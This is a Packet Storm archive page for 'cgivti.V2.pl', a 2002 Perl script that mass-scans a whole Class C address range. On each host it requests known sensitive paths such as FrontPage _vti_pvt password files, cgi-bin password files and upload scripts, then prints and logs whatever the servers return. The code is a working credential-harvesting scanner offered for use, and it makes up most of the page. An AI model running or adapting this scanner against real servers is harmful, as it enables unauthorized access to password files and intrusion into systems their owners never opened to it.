what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cgivti.V2.pl

cgivti.V2.pl
Posted Aug 29, 2002
Authored by Lawrence Lavigne | Site neoerudition.net

This scanner searches for vulnerable web servers for Common Gateway Interface and Vermeer Technology Incorporated services. Version 2 allows for Class C IP generation done "On The Fly" and a timeout scheme added thanks to MaB of Efnets #programmers.

tags | web, cgi
systems | unix
SHA-256 | 77770362b50cb7fe074dde751149a9cfecd9db1fbc1b7b09fc46c9ec41d2715f

cgivti.V2.pl

Change Mirror Download
# Thanks to MaB of Efnets #programmers for helping clean up my code and reduce my 20 line Class C IP Generator
# to 10 lines of "On The Fly" code and his timeout scheme.

print<<__MENU;

NeoErudition Technologies
CGI VTI Mass Scanner

By: Lawrence Lavigne
MaB


__MENU

use strict;
use diagnostics;
use warnings;
use LWP::UserAgent;
my $hostsfile;
my $host;
my @hosts;
my $userresp;
my $url;
my $class;
my $x;
my @checks = ( "http://HOST/_vti_pvt/service.grp",
"http://HOST/_vti_pvt/authors.pwd",
"http://HOST/cgi-bin/password.txt",
"http://HOST/_vti_pvt/service.pwd",
"http://HOST/_vti_pvt/users.pwd",
"http://HOST/_vti_pvt/administrator.pwd",
"http://HOST/_vti_pvt/administrators.pwd",
"http://HOST/cgi-win/uploader.exe",
"http://HOST/cgi-bin/upload.pl",
"http://HOST/cgi-bin/whois_raw.cgi?",
"http://HOST/cgi-bin/passwd",
"http://HOST/cgi-bin/passwd.txt",
"http://HOST/cgi-bin/handler.cgi",
"http://HOST/cgi-bin/handler",
"http://HOST/cgi-bin/files.pl",
"http://HOST/msadc/Samples/SELECTOR/showcode.asp",
"http://HOST/msadc/Samples/selector/showcode.asp",
"http://HOST/session/adminlogin?");
my $ua = LWP::UserAgent->new(agent => "VTI Scan", env_proxy => 1, keep_alive => 1,timeout => 5);

print "Class C Range To Be Scanned (ie 10.1.101): ";
$class = <STDIN>;
chomp($class);
if ($class =~ /\d+\.\d+\.\d+/) {
print "Adding $class.* to hosts list...\n\n";
for ($x = 1; $x < 255; $x++) {
push @hosts, "$class.$x";
}
} else {
print "Error: Invalid class syntax.";
exit;
}

print qq(CGI/VTI Scan Initiated..\n);
print qq(Output Saved To CGIVTI.log.\n\n);
foreach $host (@hosts) {
foreach (@checks) {
$url = $_;
$url =~ s/HOST/$host/;
print qq(:: Checking $url...\n);
my $response = $ua->get($url);
if ($response->is_success) {
print $response->content;
open(OUT, ">>CGIVTI.log");
print OUT $url;
close OUT;
} else {
print qq(Not Vulnerable..\n\n);
}
}
}
<>








Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close